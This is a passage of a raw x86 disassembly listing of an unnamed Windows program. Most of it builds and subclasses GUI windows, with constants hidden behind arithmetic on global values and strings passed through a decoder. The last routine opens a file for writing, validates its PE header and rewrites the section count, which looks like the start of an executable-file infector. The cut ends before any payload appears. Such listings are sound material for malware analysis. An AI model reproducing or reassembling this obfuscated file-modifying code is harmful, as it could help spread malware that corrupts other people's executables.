		movsx	edi, word_54F13C
		sub	edi, 9
		push	edi
		mov	edi, dword_54F10C
		sub	edi, 2
		push	edi
		push	50800000h
		lea	edi, [ebp+var_FF]
		push	edi
		push	eax
		push	200h
		call	ds:dword_4CB93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_274], eax
		mov	ebx, eax
		mov	ds:dword_4CA558[ebx], edi
		mov	eax, [ebp+var_114]
		sub	eax, [ebp+var_11C]
		mov	edx, dword_54F1E0
		add	edx, 29h
		sub	eax, edx
		mov	[ebp+var_120], eax
		mov	edi, [ebp+var_110]
		sub	edi, [ebp+var_118]
		mov	ebx, dword_54F1D4
		add	ebx, 0F2h
		sub	edi, ebx
		mov	ebx, dword_54F204
		add	ebx, 3Ah
		mov	eax, edi
		sub	eax, ebx
		xor	edx, edx
		test	eax, eax
		setl	dl
		add	eax, edx
		sar	eax, 1
		mov	[ebp+var_124], eax
		mov	edx, dword_54F234
		add	edx, dword_54F184
		sub	edx, 0Ch
		cmp	eax, edx
		jge	short loc_438934
		movsx	eax, word_54F0F8
		add	eax, dword_54F238
		sub	eax, 4
		mov	[ebp+var_124], eax


loc_438934:				; CODE XREF: sub_438324+5F8j
		push	offset dword_550984
		call	sub_43AAF7
		mov	[ebp+var_278], eax
		push	offset dword_550980
		call	sub_43AAF7
		mov	[ebp+var_27C], eax
		mov	edi, dword_54F220
		add	edi, dword_54F140
		sub	edi, 3
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_54F0C8
		dec	edi
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_280], eax
		mov	edi, eax
		push	ds:dword_4CA558[edi]
		movsx	edi, word_54F138
		add	edi, 0F7h
		push	edi
		push	[ebp+var_120]
		mov	edi, [ebp+var_124]
		mov	ebx, dword_54F188
		add	ebx, 36h
		movsx	edx, word_54F148
		add	ebx, edx
		add	edi, ebx
		movsx	ebx, word_54F0FC
		dec	ebx
		add	edi, ebx
		push	edi
		mov	edi, dword_54F154
		add	edi, 5
		add	edi, dword_54F0AC
		push	edi
		push	50800009h
		mov	edi, [ebp+var_27C]
		push	edi
		mov	edi, [ebp+var_278]
		push	edi
		movsx	edi, word_54F0F8
		sub	edi, 5
		push	edi
		call	ds:dword_4CB93C
		mov	[ebp+var_138], eax
		push	offset word_550976
		call	sub_43AAF7
		mov	[ebp+var_284], eax
		push	offset byte_55095D
		call	sub_43AAF7
		mov	[ebp+var_288], eax
		mov	edi, dword_54F124
		movsx	ebx, word_54F0FC
		add	edi, ebx
		sub	edi, 4
		push	edi
		push	dword ptr [ebp-10Ch]
		movsx	edi, word_54F148
		movsx	ebx, word_54F1CC
		add	edi, ebx
		sub	edi, 0Ah
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_28C], eax
		mov	edi, eax
		push	ds:dword_4CA558[edi]
		mov	edi, dword_54F1AC
		add	edi, 31h
		add	edi, dword_54F24C
		push	edi
		push	[ebp+var_120]
		push	[ebp+var_124]
		movsx	edi, word_54F104
		mov	ebx, dword_54F21C
		lea	edi, [edi+ebx+10h]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_288]
		push	edi
		mov	edi, [ebp+var_284]
		push	edi
		mov	edi, dword_54F214
		sub	edi, 3
		push	edi
		call	ds:dword_4CB93C
		mov	[ebp+var_13C], eax
		mov	eax, dword_54F0E8
		dec	eax
		push	eax
		push	2
		push	0
		push	0
		push	5
		push	1
		movsx	eax, word_54F198
		mov	edx, dword_54F228
		add	edx, eax
		sub	edx, 9
		push	edx
		mov	edx, dword_54F17C
		add	edx, dword_54F204
		sub	edx, 9
		push	edx
		mov	edx, dword_54F19C
		sub	edx, 4
		push	edx
		push	2BCh
		mov	edx, dword_54F0A0
		add	edx, dword_54F174
		sub	edx, 0Ah
		push	edx
		push	dword_54F0BC
		add	eax, dword_54F154
		dec	eax
		push	eax
		mov	eax, dword_54F1E4
		add	eax, 10h
		push	eax
		call	ds:dword_4CA220
		mov	[ebp+var_140], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_13C]
		call	ds:dword_446018
		push	offset byte_550953
		call	sub_43AAF7
		mov	[ebp+var_290], eax
		push	offset word_55094E
		call	sub_43AAF7
		add	esp, 18h
		mov	edi, dword_54F130
		dec	edi
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_54F134
		sub	edi, 2
		push	edi
		push	[ebp+var_138]
		mov	edi, dword_54F0A0
		add	edi, 0F2h
		movsx	ebx, word_54F210
		add	edi, ebx
		mov	ebx, dword_54F098
		add	ebx, dword_54F248
		sub	ebx, 9
		sub	edi, ebx
		push	edi
		mov	edi, [ebp+var_120]
		mov	ebx, dword_54F154
		add	ebx, dword_54F214
		sub	ebx, 7
		sub	edi, ebx
		push	edi
		movsx	edi, word_54F148
		add	edi, dword_54F1E4
		sub	edi, 4
		push	edi
		mov	edi, dword_54F108
		sub	edi, 7
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_290]
		push	edi
		mov	edi, dword_54F234
		add	edi, dword_54F170
		sub	edi, 0Ch
		push	edi
		call	ds:dword_4CB93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_294], eax
		mov	ebx, eax
		mov	ds:dword_4CA55C[ebx], edi
		mov	eax, dword_54F20C
		add	eax, dword_54F174
		cmp	[ebp+eax+var_10A], 34h
		jnz	short loc_438C3B
		push	offset word_550946
		call	sub_43AAF7
		pop	ecx
		push	eax
		lea	edi, [ebp+var_154]
		push	edi
		call	sub_4455D4
		jmp	short loc_438C53
; ---------------------------------------------------------------------------


loc_438C3B:				; CODE XREF: sub_438324+8FBj
		push	offset dword_550938
		call	sub_43AAF7
		pop	ecx
		push	eax
		lea	edi, [ebp+var_154]
		push	edi
		call	sub_4455D4


loc_438C53:				; CODE XREF: sub_438324+915j
		push	offset word_5508C6
		call	sub_43AAF7
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_154]
		push	edi
		push	eax
		lea	edi, [ebp+var_253]
		push	edi
		call	ds:dword_50C928
		push	offset dword_5508BC
		call	sub_43AAF7
		mov	[ebp+var_298], eax
		mov	edi, dword_54F168
		add	edi, dword_54F1E0
		sub	edi, 6
		push	edi
		push	dword ptr [ebp-10Ch]
		push	dword_54F238
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_29C], eax
		mov	edi, eax
		push	ds:dword_4CA55C[edi]
		mov	edi, dword_54F1D4
		add	edi, 28h
		push	edi
		push	[ebp+var_120]
		movsx	edi, word_54F1A4
		add	edi, 4
		push	edi
		mov	edi, dword_54F0EC
		movsx	ebx, word_54F13C
		add	edi, ebx
		push	edi
		push	50000000h
		lea	edi, [ebp+var_253]
		push	edi
		mov	edi, [ebp+var_298]
		push	edi
		movsx	edi, word_54F0F8
		add	edi, dword_54F200
		sub	edi, 0Ah
		push	edi
		call	ds:dword_4CB93C
		mov	[ebp+var_258], eax
		movsx	eax, word_54F1C4
		add	eax, dword_54F0A4
		sub	eax, 0Fh
		push	eax
		push	2
		push	0
		push	0
		push	5
		push	1
		mov	eax, dword_54F204
		add	eax, dword_54F140
		sub	eax, 3
		push	eax
		movsx	eax, word_54F148
		add	eax, dword_54F110
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_54F158
		sub	eax, 3
		push	eax
		push	190h
		movsx	eax, word_54F164
		dec	eax
		push	eax
		mov	eax, dword_54F234
		add	eax, dword_54F120
		sub	eax, 10h
		push	eax
		movsx	eax, word_54F0F8
		movsx	edx, word_54F0CC
		add	eax, edx
		push	eax
		mov	eax, dword_54F0E0
		add	eax, 0Ah
		push	eax
		call	ds:dword_4CA220
		mov	[ebp+var_130], eax
		push	1
		push	eax
		push	30h
		push	[ebp+var_258]
		call	ds:dword_446018
		push	offset dword_5508B0
		call	sub_43AAF7
		mov	[ebp+var_2A0], eax
		push	offset off_5508AC
		call	sub_43AAF7
		mov	[ebp+var_2A4], eax
		mov	edi, dword_54F090
		sub	edi, 4
		push	edi
		push	dword ptr [ebp-10Ch]
		movsx	edi, word_54F240
		movsx	ebx, word_54F1E8
		add	edi, ebx
		sub	edi, 0Fh
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2A8], eax
		mov	edi, eax
		push	ds:dword_4CA55C[edi]
		mov	edi, dword_54F120
		add	edi, 124h
		push	edi
		movsx	edi, word_54F1CC
		mov	ebx, dword_54F1BC
		lea	edi, [edi+ebx+2Dh]
		push	edi
		mov	edi, dword_54F10C
		add	edi, 49h
		push	edi
		mov	edi, dword_54F158
		add	edi, 43h
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2A4]
		push	edi
		mov	edi, [ebp+var_2A0]
		push	edi
		mov	edi, dword_54F1E0
		sub	edi, 4
		push	edi
		call	ds:dword_4CB93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2AC], eax
		mov	ebx, eax
		mov	ds:dword_4CA564[ebx], edi
		push	offset dword_5508A0
		call	sub_43AAF7
		mov	[ebp+var_2B0], eax
		push	offset dword_55089C
		call	sub_43AAF7
		add	esp, 28h
		mov	[ebp+var_2B4], eax
		mov	edi, dword_54F1C0
		movsx	ebx, word_54F118
		add	edi, ebx
		sub	edi, 9
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_54F160
		sub	edi, 7
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2B8], eax
		mov	edi, eax
		push	ds:dword_4CA55C[edi]
		mov	edi, dword_54F154
		add	edi, 11Dh
		add	edi, dword_54F1B0
		push	edi
		mov	edi, dword_54F200
		add	edi, 26h
		add	edi, dword_54F22C
		push	edi
		mov	edi, dword_54F098
		add	edi, 3Ah
		add	edi, dword_54F120
		push	edi
		movsx	edi, word_54F194
		movsx	ebx, word_54F1A4
		lea	edi, [edi+ebx+3]
		push	edi
		push	50800003h
		mov	edi, [ebp+var_2B4]
		push	edi
		mov	edi, [ebp+var_2B0]
		push	edi
		mov	edi, dword_54F0AC
		sub	edi, 7
		push	edi
		call	ds:dword_4CB93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2BC], eax
		mov	ebx, eax
		mov	ds:dword_4CA560[ebx], edi
		mov	eax, dword_54F180
		movsx	edx, word_54F0FC
		add	eax, edx
		dec	eax
		mov	[ebp-102h], ax
		jmp	loc_439032
; ---------------------------------------------------------------------------


loc_438F6E:				; CODE XREF: sub_438324+D21j
		push	offset dword_550894
		call	sub_43AAF7
		movzx	edi, word ptr [ebp-102h]
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_50C928
		lea	eax, [ebp+var_2C6]
		push	eax
		mov	eax, dword_54F17C
		add	eax, dword_54F11C
		sub	eax, 9
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		push	ds:dword_4CA560[eax]
		call	ds:dword_446018
		push	offset word_55088A
		call	sub_43AAF7
		movzx	edi, word ptr [ebp-102h]
		mov	ebx, dword_54F19C
		add	ebx, 3
		add	edi, ebx
		push	edi
		push	eax
		lea	edi, [ebp+var_2C6]
		push	edi
		call	ds:dword_50C928
		add	esp, 20h
		lea	eax, [ebp+var_2C6]
		push	eax
		movsx	eax, word_54F208
		movsx	edx, word_54F210
		add	eax, edx
		sub	eax, 6
		push	eax
		push	143h
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_4CA564[eax]
		call	ds:dword_446018
		inc	word ptr [ebp-102h]


loc_439032:				; CODE XREF: sub_438324+C45j
		movzx	eax, word ptr [ebp-102h]
		movsx	edx, word_54F1A8
		add	edx, 0Dh
		cmp	eax, edx
		jl	loc_438F6E
		push	offset word_550882
		call	sub_43AAF7
		mov	[ebp+var_2C0], eax
		push	offset word_55087E
		call	sub_43AAF7
		mov	[ebp+var_2C4], eax
		mov	edi, dword_54F200
		add	edi, dword_54F24C
		sub	edi, 0Eh
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_54F0D4
		add	edi, dword_54F214
		sub	edi, 8
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp-2C8h], eax
		mov	edi, eax
		push	ds:dword_4CA55C[edi]
		mov	edi, dword_54F0A4
		add	edi, 11h
		push	edi
		mov	edi, dword_54F0D8
		add	edi, 4Ah
		add	edi, dword_54F0B0
		push	edi
		mov	edi, dword_54F220
		add	edi, 7Ah
		push	edi
		movsx	edi, word_54F0F8
		mov	ebx, dword_54F174
		lea	edi, [edi+ebx+23h]
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2C4]
		push	edi
		mov	edi, [ebp+var_2C0]
		push	edi
		push	200h
		call	ds:dword_4CB93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2CC], eax
		mov	ebx, eax
		mov	ds:dword_4CA568[ebx], edi
		movsx	eax, word_54F0CC
		dec	eax
		push	eax
		push	58h
		push	0CCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2D0], eax
		push	ds:dword_4CA568[eax]
		call	ds:dword_446018
		push	offset dword_550874
		call	sub_43AAF7
		mov	[ebp+var_2D4], eax
		push	offset word_550852
		call	sub_43AAF7
		mov	[ebp+var_2D8], eax
		mov	edi, dword_54F168
		sub	edi, 2
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_54F1DC
		add	edi, dword_54F0D4
		sub	edi, 5
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2DC], eax
		mov	edi, eax
		push	ds:dword_4CA55C[edi]
		mov	edi, dword_54F10C
		add	edi, 3Dh
		add	edi, dword_54F230
		push	edi
		push	[ebp+var_120]
		movsx	edi, word_54F0F8
		mov	ebx, dword_54F224
		lea	edi, [edi+ebx+49h]
		push	edi
		mov	edi, dword_54F1C0
		add	edi, 93h
		add	edi, dword_54F124
		push	edi
		push	50000000h
		mov	edi, [ebp+var_2D8]
		push	edi
		mov	edi, [ebp+var_2D4]
		push	edi
		mov	edi, dword_54F0D8
		sub	edi, 6
		push	edi
		call	ds:dword_4CB93C
		mov	[ebp+var_25C], eax
		push	1
		push	[ebp+var_130]
		push	30h
		push	eax
		call	ds:dword_446018
		push	offset dword_550848
		call	sub_43AAF7
		mov	[ebp+var_2E0], eax
		push	offset word_55082E
		call	sub_43AAF7
		add	esp, 18h
		mov	[ebp+var_2E4], eax
		mov	edi, dword_54F100
		sub	edi, 9
		push	edi
		push	dword ptr [ebp-10Ch]
		mov	edi, dword_54F130
		add	edi, dword_54F1F4
		sub	edi, 0Ah
		push	edi
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2E8], eax
		mov	edi, eax
		push	ds:dword_4CA55C[edi]
		mov	edi, dword_54F0D4
		add	edi, 12h
		push	edi
		mov	edi, dword_54F230
		mov	ebx, edi
		add	ebx, 9Ah
		push	ebx
		mov	ebx, dword_54F154
		add	ebx, 0F1h
		add	ebx, edi
		movsx	edi, word_54F190
		mov	edx, dword_54F1A0
		lea	edi, [edi+edx+13h]
		sub	ebx, edi
		push	ebx
		movsx	edi, word_54F138
		add	edi, 7
		push	edi
		push	50800000h
		mov	edi, [ebp+var_2E4]
		push	edi
		mov	edi, [ebp+var_2E0]
		push	edi
		mov	edi, dword_54F214
		add	edi, dword_54F1D4
		sub	edi, 0Bh
		push	edi
		call	ds:dword_4CB93C
		mov	edi, eax
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2EC], eax
		mov	ebx, eax
		mov	ds:dword_4CA56C[ebx], edi
		push	1
		push	[ebp+var_130]
		mov	eax, 30h
		push	30h
		mul	esi
		mov	[ebp+var_2F0], eax
		push	ds:dword_4CA56C[eax]
		call	ds:dword_446018
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2F4], eax
		mov	[ebp+var_2F8], eax
		push	ds:dword_4CA55C[eax]
		call	ds:dword_4CC914
		mov	edi, [ebp+var_2F8]
		mov	ds:dword_4CA57C[edi], eax
		push	offset sub_43FD1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_2FC], eax
		push	ds:dword_4CA55C[eax]
		call	ds:dword_4495AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_300], eax
		mov	[ebp+var_304], eax
		push	ds:dword_4CA568[eax]
		call	ds:dword_4CC914
		mov	edi, [ebp+var_304]
		mov	ds:dword_4CA578[edi], eax
		push	offset sub_43FD1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_308], eax
		push	ds:dword_4CA568[eax]
		call	ds:dword_4495AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_30C], eax
		mov	[ebp+var_310], eax
		push	ds:dword_4CA564[eax]
		call	ds:dword_4CC914
		mov	edi, [ebp+var_310]
		mov	ds:dword_4CA574[edi], eax
		push	offset sub_43FD1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_314], eax
		push	ds:dword_4CA564[eax]
		call	ds:dword_4495AC
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_318], eax
		mov	[ebp+var_31C], eax
		push	ds:dword_4CA560[eax]
		call	ds:dword_4CC914
		mov	edi, [ebp+var_31C]
		mov	ds:dword_4CA570[edi], eax
		push	offset sub_43FD1A
		push	0FFFFFFFCh
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_320], eax
		push	ds:dword_4CA560[eax]
		call	ds:dword_4495AC
		mov	eax, 30h
		mul	esi
		mov	[ebp+var_324], eax
		push	ds:dword_4CA560[eax]
		call	ds:dword_4899FC


loc_439466:				; CODE XREF: sub_438324+10j
					; sub_438324+21j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_438324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43946B	proc near		; CODE XREF: sub_43B0C6+D9p
					; sub_43B0C6+13Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_54F120
		sub	esi, 8
		movsx	edi, word_54F198
		dec	edi
		jmp	short loc_4394D8
; ---------------------------------------------------------------------------


loc_439488:				; CODE XREF: sub_43946B+77j
		movzx	edx, word ptr [ebx+edi*2]
		mov	ecx, [ebp+arg_4]
		movzx	ecx, word ptr [ecx+edi*2]
		sub	edx, ecx
		sub	edx, esi
		mov	[ebp+var_4], edx
		movsx	eax, word_54F0D0
		sub	eax, 6
		cmp	edx, eax
		jge	short loc_4394C7
		mov	eax, dword_54F12C
		add	eax, 0FFF8h
		add	[ebp+var_4], eax
		mov	eax, dword_54F154
		mov	esi, eax
		add	esi, dword_54F10C
		sub	esi, 9
		jmp	short loc_4394D0
; ---------------------------------------------------------------------------


loc_4394C7:				; CODE XREF: sub_43946B+3Bj
		mov	esi, dword_54F0B8
		sub	esi, 4


loc_4394D0:				; CODE XREF: sub_43946B+5Aj
		mov	edx, [ebp+var_4]
		mov	[ebx+edi*2], dx
		inc	edi


loc_4394D8:				; CODE XREF: sub_43946B+1Bj
		mov	eax, dword_54F220
		add	eax, 1Eh
		cmp	edi, eax
		jb	short loc_439488
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43946B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4394E9	proc near		; DATA XREF: .data:0054F2E0o

arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_54F130
		add	eax, 0F9h
		cmp	edi, eax
		jnz	short loc_439512
		push	[ebp+arg_14]
		call	sub_44296E
		pop	ecx
		xor	eax, eax
		jmp	short loc_439532
; ---------------------------------------------------------------------------


loc_439512:				; CODE XREF: sub_4394E9+1Aj
		mov	eax, dword_54F14C
		add	eax, 101h
		cmp	edi, eax
		jnz	short loc_43952D
		push	[ebp+arg_14]
		call	sub_43EA1B
		pop	ecx
		xor	eax, eax
		jmp	short loc_439532
; ---------------------------------------------------------------------------


loc_43952D:				; CODE XREF: sub_4394E9+35j
		mov	eax, 80020003h


loc_439532:				; CODE XREF: sub_4394E9+27j
					; sub_4394E9+42j
		pop	edi
		pop	ebp
		retn	24h
sub_4394E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_439537	proc near		; DATA XREF: .data:0054F2FCo
		mov	eax, 80004001h
		retn	10h
sub_439537	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43953F	proc near		; DATA XREF: .data:0054F2CCo
		push	ebp
		mov	ebp, esp
		push	offset dword_54DF3C
		call	ds:dword_4899F8
		mov	eax, ds:dword_54DF3C
		pop	ebp
		retn	4
sub_43953F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439556	proc near		; DATA XREF: .data:off_54F2C8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_550A98
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_439582
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_4395D1
; ---------------------------------------------------------------------------


loc_439582:				; CODE XREF: sub_439556+1Aj
		push	offset dword_550A18
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_4395A2
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_4395D1
; ---------------------------------------------------------------------------


loc_4395A2:				; CODE XREF: sub_439556+3Aj
		push	offset dword_5509E8
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_4395C2
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_4395D1
; ---------------------------------------------------------------------------


loc_4395C2:				; CODE XREF: sub_439556+5Aj
		mov	eax, dword_54F1B4
		sub	eax, 4
		mov	[edi], eax
		mov	eax, 80004002h


loc_4395D1:				; CODE XREF: sub_439556+2Aj
					; sub_439556+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_439556	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4395D8	proc near		; CODE XREF: sub_43ABE6+1F8p

var_32008	= dword	ptr -32008h
var_32004	= dword	ptr -32004h
var_31FFF	= byte ptr -31FFFh
var_31FFD	= byte ptr -31FFDh
var_31F34	= dword	ptr -31F34h
var_31F30	= dword	ptr -31F30h
var_31F2C	= dword	ptr -31F2Ch
var_31F28	= dword	ptr -31F28h
var_31F24	= dword	ptr -31F24h
var_31F20	= dword	ptr -31F20h
var_31F1C	= dword	ptr -31F1Ch
var_31F18	= dword	ptr -31F18h
var_31F14	= dword	ptr -31F14h
var_31F10	= dword	ptr -31F10h
var_31F0C	= dword	ptr -31F0Ch
var_31F08	= dword	ptr -31F08h
var_31F04	= dword	ptr -31F04h
var_31F00	= dword	ptr -31F00h
var_31EFC	= dword	ptr -31EFCh
var_31EF8	= dword	ptr -31EF8h
var_31EF4	= dword	ptr -31EF4h
var_31EF0	= dword	ptr -31EF0h
var_31EEC	= dword	ptr -31EECh
var_31EE8	= dword	ptr -31EE8h
var_31EE4	= dword	ptr -31EE4h
var_31EE0	= dword	ptr -31EE0h
var_31EDC	= dword	ptr -31EDCh
var_31ED8	= byte ptr -31ED8h
var_31ECB	= byte ptr -31ECBh
var_1198	= dword	ptr -1198h
var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= dword	ptr -118Ch
var_1188	= dword	ptr -1188h
var_1184	= dword	ptr -1184h
var_117F	= byte ptr -117Fh
var_1080	= dword	ptr -1080h
var_107C	= dword	ptr -107Ch
var_1078	= dword	ptr -1078h
var_1074	= dword	ptr -1074h
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1064	= dword	ptr -1064h
var_1060	= dword	ptr -1060h
var_105C	= dword	ptr -105Ch
var_1058	= dword	ptr -1058h
var_1054	= dword	ptr -1054h
var_1050	= dword	ptr -1050h
var_C54		= dword	ptr -0C54h
var_C50		= dword	ptr -0C50h
var_C4C		= dword	ptr -0C4Ch
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 32008h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_54F160
		sub	eax, 7
		mov	[ebp+var_31EE4], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_31ECB]
		push	eax
		call	ds:dword_4CB814
		add	esp, 0Ch


loc_43960C:				; CODE XREF: sub_4395D8+99j
		mov	eax, dword_54F124
		sub	eax, 2
		push	eax
		movsx	eax, word_54F128
		sub	eax, 5
		push	eax
		push	3
		mov	eax, dword_54F0C8
		dec	eax
		push	eax
		mov	eax, dword_54F248
		movsx	edx, word_54F1A8
		add	eax, edx
		sub	eax, 4
		push	eax
		push	0C0000001h
		push	[ebp+arg_0]
		call	ds:dword_54DB18
		mov	[ebp+var_1074],	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43967A
		inc	[ebp+var_31EE4]
		mov	eax, dword_54F10C
		dec	eax
		cmp	[ebp+var_31EE4], eax
		jnz	short loc_439673
		push	[ebp+arg_0]
		call	sub_43DA48
		pop	ecx
		jmp	short loc_43960C
; ---------------------------------------------------------------------------


loc_439673:				; CODE XREF: sub_4395D8+8Ej
		xor	eax, eax
		jmp	loc_43AAF2
; ---------------------------------------------------------------------------


loc_43967A:				; CODE XREF: sub_4395D8+7Aj
		mov	eax, dword_54F174
		add	eax, dword_54F0D4
		sub	eax, 0Ch
		push	eax
		push	[ebp+var_1074]
		call	ds:dword_4CC910
		mov	[ebp+var_10], eax
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+1FFFFh]
		push	eax
		push	0
		call	ds:dword_4899EC
		mov	[ebp+var_4], eax
		movsx	eax, word_54F128
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_31EE0]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1074]
		call	ds:dword_446034
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		mov	[ebp+var_840], eax
		mov	eax, [ebp+var_31EE0]
		sub	eax, 0F8h
		cmp	[ebp+var_840], eax
		ja	loc_43AADB
		mov	eax, [ebp+var_840]
		add	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jnz	loc_43AADB
		mov	eax, [ebp+var_8]
		movzx	eax, word ptr [eax+5Ch]
		mov	edx, dword_54F0DC
		add	edx, dword_54F0D8
		sub	edx, 9
		cmp	eax, edx
		jz	loc_43AADB
		and	[ebp+var_1184],	0
		mov	eax, [ebp+var_8]
		movzx	edx, word ptr [eax+44h]
		mov	ecx, dword_54F188
		add	ecx, 8
		cmp	edx, ecx
		jnz	short loc_439784
		mov	edx, dword_54F204
		add	edx, dword_54F160
		dec	edx
		mov	[eax+1Ah], dl
		cmp	dl, 0
		jz	short loc_439784
		movzx	eax, word ptr [eax+46h]
		mov	[ebp+var_31EF4], eax
		movsx	eax, word_54F0D0
		cmp	[ebp+var_31EF4], eax
		jnb	loc_43AADB
		mov	[ebp+var_1184],	1


loc_439784:				; CODE XREF: sub_4395D8+16Ej
					; sub_4395D8+183j
		cmp	[ebp+var_1184],	0
		jz	short loc_4397DC
		mov	eax, dword_54F170
		movsx	edx, word_54F094
		add	eax, edx
		cmp	[ebp+var_31EF4], eax
		jnb	short loc_4397BC
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		mov	ecx, dword_54F10C
		add	ecx, 2
		sub	edx, ecx
		mov	[eax], dx
		jmp	short loc_4397DC
; ---------------------------------------------------------------------------


loc_4397BC:				; CODE XREF: sub_4395D8+1C9j
		mov	eax, [ebp+var_8]
		add	eax, 6
		movzx	edx, word ptr [eax]
		mov	ecx, dword_54F230
		movsx	edi, word_54F0D0
		add	ecx, edi
		sub	ecx, 4
		sub	edx, ecx
		mov	[eax], dx


loc_4397DC:				; CODE XREF: sub_4395D8+1B3j
					; sub_4395D8+1E2j
